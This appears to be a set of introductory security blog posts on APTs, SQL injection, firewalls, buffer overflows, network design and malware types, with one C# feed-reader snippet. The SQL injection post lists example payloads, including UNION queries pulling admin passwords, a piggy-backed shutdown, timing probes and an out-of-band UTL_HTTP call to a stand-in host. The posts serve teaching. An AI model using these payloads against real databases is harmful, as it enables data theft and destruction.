Have you heard of Advance Persistent Threat or APT?


Advance persistent threat (APT) is a term referring to organised, targeted attacks on government organisations, officials and businesses, to steal valuable information and / or to cause damage to assets. These attacks require a high degree of knowledge and the attacks usually occur over a long period of time.

To understand an APT, it is important to look at the definition of each word: advance, persistent and threat. The keyword “advance” implies that the attacker has a high degree of knowledge that allows them to use large pool of intrusion tools and techniques. The keyword “persistent” is used to describe that the attacks are guided and usually occurs over a long period of time. And lastly the “threat” implies that a human is involved in the attack rather than the automated tools. (1)

The first section describe the characteristic that an attack must have to be considered as an APT. The section two describes the life cycle of an APT attack. The section 3 describes some of the measures that could be taken to defend against APTs, these actions are based on the behaviour at the beginning and later stages of an attack.

1. Characteristics of an APT

An advance persistent threat attack has 3 main characteristics. They are targeted, complex and persistent in nature. The following paragraphs describe each characteristic in detail.

Targeted: APT attacks are targeted to a specific company or a person to achieve a specific target. For example, Stuxnet (2) was specifically targeted to Iran nuclear power station. Night Dragon was targeted at oil and petroleum companies. RSA attack targeted to gather information on RSA SecureID (2). Aurora operation was targeted to steal source code from Google, Adobe and other high profile companies. These are unlike opportunistic attacks thate usually see from the hackers. But rather well organised, well-funded attacks that are targeted to achieve a specific objective. It can be assumed that any company or organisation with a high value data could be a target.

Complex: APTs usually involves a mixture of attacks, attempting to penetrate the network using different techniques. These may include, sending phishing emails to targeted individuals, targeting vulnerabilities in applications, targeting unpatched system, and zero day vulnerabilities. It is to be noted that to defend against these complex attacks a defence in depth strategies should be deployed.

Persistent: APTs mainly occur over a long period of time. As the attackers have to gather information about the target and develop specific attack strategies, involving finding zero day vulnerabilities and development of their own tools for the specific vulnerability in the system. Moreover, once the attack penetrate into the network, they may still find lots of obstacles to overcome in order to reach their target. These usually span over weeks and months.

2. Stages of Advance Persistent Threat

APTs consist of the 4 major stages (please note that different authors further divide stages). Each stages may take long period of time.

  • Reconnaissance: during this stage the attacker is attempting to understand the target and its vulnerable points.
  • Penetrate: using the information gathered from the previous stage, thettacker gains access to the target system.
  • Persist and propagate: once the attacker gains access to the network, he installs, backdoors and further propagate into the network.
  • Data Exfiltration or take action: once the attacker reaches the targeted objective, they have to extract data from the target or do harm to the system.

The following sub section looks at each of the stage in details.

2.1 Reconnaissance

This is first stage of an APT. At this stage, the attacker gathers information about the target. This stage is mainly divided into two sub stages: passive scanningnd active scanning.

Reconnaissance is also referred as passive scanning. During this process the attacker finds information about the target by looking at blogs, job seeking posts, and corporate website. These sources can include information about network devices, software’s including anti-viruses, staffs and their roles and technical contact numbers of the target.

Scanning may involves using automated tools (such as nmap, nikto) to identify potential hosts that could be targeted, they look for ports that are open, and different services running on the host. It is to be noted that automated scanning is noisy, and attackers use other attacks to hide a scanning process. These may involve a dos attack on the hosts, so that the logs are over written.

2.2 Penetrate

Once the attacker finds a potential host which is vulnerable, many targeted attacks will be deployed to infiltrate the host. These attacks may involve using social engineering techniques, spear phishing emails, and using zero-day vulnerability malwares. It is to be noted, these attacks are developed specifically for the targets and are designed to evade the anti-virus and intrusion detection systems that are in been used by the target.

2.3 Persist & Propagate

Once the attacker has infiltrated the system, special measures are taken by the attackers to maintain the access to the system. Some of the measure they take involves:

  • Installing special software (remote-access software) to implement the communication between infiltrated host and attacker
  • Creating administrative users and taking copies system password hash files
  • Hiding the presence of them in the system, by deleting system and firewall log files

After taking measure to maintain access to the infiltrated system, further payloads are downloaded into system for running scans, and identify other nodes on the network. This helps the attacker to map out the network and find the next system to be penetrated in order to reach the target.

This movement from one system to another to reach the target is referred as “pivoting”. It is important to note that propagation phase may take weeks and months on itself, as further reconnaissance and penetration stages occur during pivoting from system to system to reach the target.

2.4 Data exfiltration or take action

At this stage, the attacker has control of one or more system on the target and has reached the final system or found the information the attacker wanted. Now the attacker needs to collect information and send it to outside server or to another system (assuming the attack goal is to get data or information). If the information gathered needed to be sent from time to time, this stage last for months and years, until the attack is detected and stopped. On the other hand, if this information is needed to be sent only once then the attack ends after sending data.

In addition to this, other actions that the attacker may take include (3):

  • Holding data for ransom
  • Information sold for potential buyers, for example, credit card information’s stolen from large retail shops are sold in black market
  • Sell or disclose the attack methods used in compromising the target
  • Disclose the information and data to public

Detection of APT

Advance persistent threat attacks occur quietly and are very difficult to detect, hence they may be in a compromised system for a long time before it is detected. So it is important to be on alert to identify any suspicious activity that could happen in any of the components on the network.

Some of the early sign of an APT may involve activities such as: 1) suspicious emails, 2) suspicious connections, 3) files containing shellcode, and 4) anomalous traffic. These actions could be detectable by antiviruses and intrusion detection system.

Since most APTs are detected long after compromise of a system, the intrusion detection systems should be on the lookout for activities that are carried after a compromise. Some of the activities that are involved in later stages can include, 1) data access attempts, 2) data transfers and 3) changes in application configurations.


Advance persistent threats are attacks that are complex, organised and targeted to a specific organisation or an individual. Although these attacks are been carried out by highly skilled hackers, it is going to change when APTs knowledge is spread among hacker communities. Hence more organisations are going to fall victim of APT attacks.

The key to defending an APT is to follow security best practices (such as defence in depth strategies), so that it would result in an early detection, reducing the impact of the attack.


  1. Damballa. Adavance Persistent Threats (APTs). Atlanta : s.n., 2010.
  2. Advanced Persistent Threats: A decade in review . Command Five Pty Ltd. 2011.
  3. Web Sense. Advance Persistent Threat and other Advance Attacks. 2011.



Do you know SQL Injection or you just think you know it?

That is the question with which the lecturer started. I wondered If I really know it too. So I am here writing what I know of SQL Injection, may be someone else could help me out with things that I get wrong or provide me with more insight in to the topic.


SQL injection is an attack by which the attackers pass the sql statement from the client to the server for execution. If the sql statement is executed successfully, it may result in a data breach, leaking out information that the developer didn’t intend to show. In addition to this, the attackers can insert, delete or update rows in the database as well.

SQL injection attacks can be divided into few categories based on how the result of the statement execution or how statements are formed. Below are the categories of sql injection types, this article will look into.

  1. Tautologies
  2. Union Queries
  3. Piggy-back queries
  4. Timing attacks
  5. Alternative Encoding
  6. Out of band attacks
  7. Illegal/Logically incorrect Queries


This attack involves use of a boolean condition that results in either always true condition or always false condition

select * from users where username = 'abc' or 1 > 2 '

Above example always eavalute to true.

Union Queries

Union queries work by combining results from two separate queries, which takes data from different tables or view.

select * from users where userId = $id

The id value will be manipulated by the user by adding a union query

$id= 1 UNION ALL SELECT adminUsers, password FROM AdminUsers

This will result in the following query

select * from users where userId = 1 UNION ALL SELECT adminUsers, password FROM AdminUsers

Which gives combined result of both queries.

Piggy-back queries

Piggy back queries are queries appended to a existing query, resulting in more than one query in the statement.

select * from users where userId = 1; shutdown();

The above statement contains two queries, the developers could check for this type of statement before execution of the sql statement.

Timing attacks

Timing attacks are very helpful when the database and application error output is switched off. This is also part of blind sql injection. For this type of attacks the attacker appends a database timing function to the orginal query and verify if the timing functions executes or not, by checking the server response time. If the server responds immediately then the timing function is not working else the database is vulnerable to this type of attacks.

select * from users where userId = 1; sleep(15);

Alternative Encoding

In this type of attacks, the sql text is encoded to avoid detection by defensive coding. These types of attacks are hard to detect. But some of the keywords used in this approach cab be identified.

Select * from members where id=1 OR 'ABC' = concat(conv(10,10,36),
Select * from members where id=1 OR 'abc' = char(97,98,99),1
Select * from members where id=1 OR ascii('a') = 97,1
Select * from members where id=1 OR ceil(pi())=4,1
Select * from members where id=1 OR floor(pi()*pi()+pi())=13,

Out of band attacks

This is also very helpful technique for blind sql injection attacker. The attacker could use a dbms functions to execute a command, which result in out of band connection, that passes results to the attacker. For example, the attacker could use this technique to emails user informations.

select * from users where userId = =10||UTL_HTTP.request(‘testerserver.com:80’||

Illegal/Logically incorrect Queries

This is also known as error based sql injection exploitation. This type of attacks help the user when other types of attacks, such as Union queries are not helpful. It is also very helpful at reconnaisence stage of an attack, whereby attacker inputs illegal query to see the resulting output. This result may give information about the backend database system.

select * from users where userId = ' --

The above query will result in error message. To guard against this type of attacks the production database should have the error messaging swtiched off.


There is one more type of sql injection called Stored Procedure Injection. For this type of attacks the parameters of the stored procedure are modified to get the results.

Hope this article is informative.

What is it that people call network firewalls?

So I have been reading about firewalls today. It can be said that it is a tool, piece of software that controls the flow of traffic between networks. They sit at the border between networks, acting as a gateway that makes decisions about the kind of traffic that should be allowed or denied access. This decision is usually done based on the TCP/IP characteristics. They also log which connections were blocked. These blocked activities are usually generated by malicious hackers running automated tools, port scanning or malwares.

Now we know the basic idea of what firewall does, lets look at different functions a firewall carries out. Here we will look at the following five functions.

  1. Simple Packet filtering
  2. Stateful Packet filtering
  3. Network Address Translation
  4. Intrusion Prevention System
  5. Logging

Different types of Firewalls based on functionality

Packet Filters

This is the most basic functions of firewall device. These devices inspect ingress and egress transmissions to see if their properties meet the rule set, if they meet the rules they are allowed or denied access based on action specified in the rule. Simple packet filtering operation is stateless in their operation, meaning they do not have the capability to associate multiple request or handle sessions.

Stateless packet filters are susceptible to most exploits that take advantage of the TCP/IP protocol stack. For example, many packet filters are unable to detect spoofed IP addresses. More over, some packet filters can filter packets that are fragmented, even though they are legitimate requests. (Firewalls blocking fragmented packets is a common VPN interoperabitliy issues).

The table below shows a simple rule-set for a packet filtering firewall. It is important to know that rules are applied from the top, that is when a rule that match is found, that rules is applied immediately.

Action Source Address Destination Address Protocol Source Port Destination Port Control Bit
Allow Inside Outside TCP Any 80 Any
Allow Outside Inside TCP 80 > 1023 ACK
Deny All All All All All All

The above rule-set allows the users to browse internet.

Stateful Firewalls

This type of devices improve upon the packet filters, by have an additional component, a states table. Stateful firewalls intercepts the packets at the network layer and inspect them to see if they are allowed by the existing firewall rule, while also keep a track of the packet in the state table. The state table properties vary by vendors, but most of them maintains the following properties. Source address, source port, destination address, destination port, connection state and timeout period.

Three major connection state for TCP traffic are

  • Connection establishment
  • Usage
  • Termination

For stateless protocols such as UDP, which do not have a formal process of intialize, establish and termination, their state cannot be monitored at the transport layer. For such protocols, stateful firewalls are able to track the source and destination addresses and port numbers. Hence a state entry is added with a state to allow traffic, but a timeout field is added so the entry can be deleted when timeout occurs.

Application Layer Firewalls

These are the third generation firewalls that work at the application layers. The main component of this type of firewalls is stateful protocol analysis. This improves on the basic stateful inspection described above by adding a basic intrusion detection technology, i.e. an inspection engine that analyses protocols at the application layer to compare benign activities against the traffic activities. This technology is also sometimes referred as Deep Packet Inspection (DPI), as the device is now looking in to the contents of the packet, not just the header as in the previous types of firewalls. Firewalls with both stateful inspection and stateful protocol analysis capabilities are not fully-fledged IDPS, which usually have more capabilities.

Proxy Firewalls

An Application Proxy gateway is a feature of modern firewalls, that combines the lower layer access control with upper layer functionality. These firewalls contains a proxy agent that acts as an intermediary between two host that wish to communicate. This stops direct connection between them, each connection resulting in two separate connection. The proxy is transparent to the host. The proxy agent interfaces directly with the firewall rule-set to determine whether a given instance of network traffic should be allowed to transit the firewall.

Application-proxy gateways are different than the application firewalls in two ways. Firstly they can offer a higher level of security for specific applications, because it prevents direct communications between two hosts. And secondly, they can decrypt the packets, examine them and re-encrypt before sending the to the destination.

The main drawback of this type of firewall is that it take time reading and interpreting the packets.

What is a buffer overflow?


Buffer overflow happens when more data is written to a buffer, then it is allocated to hold. This extra data is translated to memory direction numbers, which is executed by a computer. A buffer overflow could crash the application, and also could be exploited by an attacker to execute any command they want.

Types of Buffer Overflow

  • Stack Overflow
  • Heap Overflow

Prevention Mechanisms

  • Use higher level programming languages that are strongly typed and disallow direct memory access
  • Canary (stack cookie) is a data pattern that is written to the stack just before EIP register (EIP contains the address of the next instruction)
  • Address Space Layout Randomization (ASLR)
  • Data Execution Protection
  • Stack Canary/Cookie

How to read WordPress feeds in a C# MVC .Net application

This is a very easy method you could use to read XML data from a feed and instantiate the object you need with that information. For the following example, I am using an MVC .Net Application code.

First you need to create the Model to store the posts information.

 public partial class BlogPost
    public string Name { get; set; }
    public string URL { get; set; }
    public string Description { get; set; }
    public System.DateTime Date { get; set; }

The following step is used to read the XML data, I have created a helper class with a static method.

public class BlogPostsLookUp
    public static IEnumerable<BlogPost> GetBlogPosts()
      XDocument feedXML = XDocument.Load("http://clarifycoder.com/feed/");

      var feeds = from feed in feedXML.Descendants("item")
            select new BlogPost
              Name = feed.Element("title").Value,
              URL = feed.Element("link").Value,
              Date = DateTime.Parse(feed.Element("pubDate").Value),
              Description = feed.Element("description").Value,

       return feeds;

Once you have the list of blog post you can use it in the View for displaying the information

<ol class="blog-home">
    @foreach (var blog in BlogPostsLookUp.GetBlogPosts())
           <a href="@blog.URL" target="_blank">@blog.Name <br /></a>
           <span style="color: #b8c4c4">
               posted on 
               <span style="color:#808080;font-style:italic">
                  @blog.Date.ToString("MMMM dd, yyyy")


Principles of a secure network design


As internet keeps on growing, letting more people to come online, the number of network security breaches are increasing as well. To guard against these security breaches a good secure network design needs to be in place. This article will discuss some of theses principles of a securely designed network. Below is the five principle that will be discussed.

  1. Defense in depth
  2. Compartmentalization
  3. Principle of Least Privilege
  4. Weakest Link in the chain
  5. Accountability and Traceability

Defense in depth

This is a term that includes several of the principles of network design. The large number of components that builds up a network and its complexity makes the network vulnerable in many areas, its hard to identify which one has the weak security features built in. Hence, it is desirable to build a network, with many layers of security giving a more depth of security against the weakness in different components.

The following three rules apply to defense in depth strategy.

  1. Defense in multiple places: This principle states that network could be attack from multiple points (insiders and outsiders), so security devices should be deployed at different points in the network, to prevent attacks that pass through one device.
  2. Build layered defenses: More than one security layer should be built, to stop attackers from reaching their target. For example nested firewalls, couple with IDS/IPS could be deployed at outer and inner boundaries.
  3. Use robust components: This rule states that the security devices should be deployed based on the value of what you are protecting and threat at the point of application.


IT system resources of different sensitivity levels(i.e., different risk tolerance values and threatsusceptibility) should be located in different security zones, be it physically or logically.

With proper placement and configurations of firewalls help create secure architectures by dividing the network infrastructure into security zones and controlling communication between them.

Principle of Least Privilege

This rule states that access of systems or should be restricted to minimum user or administrators. This also covers the physical access to the domain, access to the systems, applications and web services as well. In addition to this, control of external user access is also covered. An extension of this rule is the “Need-to-know” rule, which states the information should be given to the people who absolutely need to know it.

Weakest Link in the chain

The security of the IT system depends on the least secured element of the system. A layered approach to network design with weaker and least protected assets residing in a separated domain mitigates the existent of these weakest link (Humans are considered to be the weakest link in information security architectures).

 Accountability and Traceability

This principle states that the security risks will exist, we need to do our best to manage and mitigate the risk as soon as the risk appears.

Hence, the the network architecture should provide means of tracking the users, attackers and administrator actions. This principle translate to functions such as auditing, event management and monitoring and forensics.

Malware – an introduction and classification

Malicious software, or malware refers to programs that exploit vulnerabilities in a computing system for a harmful purpose. These malicious programs can be differentiated into categories based on their behaviours or functions. For example, based on whether they require a host program or not, or by identifying if the software copies itself or not. In the following section I will look into main categories of malware.


A virus is a piece of program code, which is self-replicating and inject itself into installed programs in the system. These types of malware can be further classified into 4 types

Resident Virus: This type of viruses embeds themselves into the memory of the target host. In such a way that, it becomes activated every time the OS start or executes a specific action.

Non-resident Virus: When executed this type of virus actively seeks targets for it to infect, either on local, removable or network locations. Upon further infections it exits, hence not residing in memory

Boot sector Virus: This type of virus targets specifically a boot sector on the host’s hard drive. Once infected, the virus gets loaded into memory every time an attempt is made to boot from the infected hard drive.

Macro Virus: Macro viruses are written in macro language, embedded in Word, Excel, Outlook documents. These viruses are executed as soon as the document is opened.


Worms are also considered a sub division of viruses, as they also self-replicating. Unlike viruses, worms exploit network and operating system vulnerabilities to spread. In addition to this, they do not require any interaction for replication process. This capability makes worm more dangerous.

Trojan horse

Unlike viruses and worms, Trojan horse does not have the capabilities of self-replication. These are programs that pretend to be legitimate, but are designed to carry out a malicious actions when run. These applications may come in forms of free software’s, games, videos, etc.

Backdoor (Remote Administration Tool)

A backdoor or a remote administration tool is a piece of software that gives a person access to a computer without the owner’s consent. Depending on the capability of RAT, the attackers can run or install software’s they need to cause damages.


A rootkit is a piece of software, which is designed to hide its presence and actions from the users and anti-virus software. It is able to do this via deep integration with the operating system. These rootkits starts before OS starts. Rootkits helps the attackers to maintain the root level access to the compromised system.

Bots and Botnets

Bots are software’s that are created to perform specific operations. While some of the bots are created for harmless purposes (such as video gaming, Internet auctions), it is becoming increasingly common to bots being used for malicious activities. Bots are used in botnets (which is a collection of computers controlled by third parties) for DDoS attacks, or as web spiders that scrape server data and for distributing malware.


A piece of software that monitors victim’s activities and also gather other information from victim’s computer and sends it back to its creator.


Ransomware is a malware that is designed to extort money from its victims. It can appear as a pop up, phishing link, or malicious website, and once acted on, will trigger a vulnerability in the user’s system, locking out the keyboard and screen, and sometimes even the entire computer. It’s intended to scam people by falsely accusing the victims of a crime and asking to pay a fine.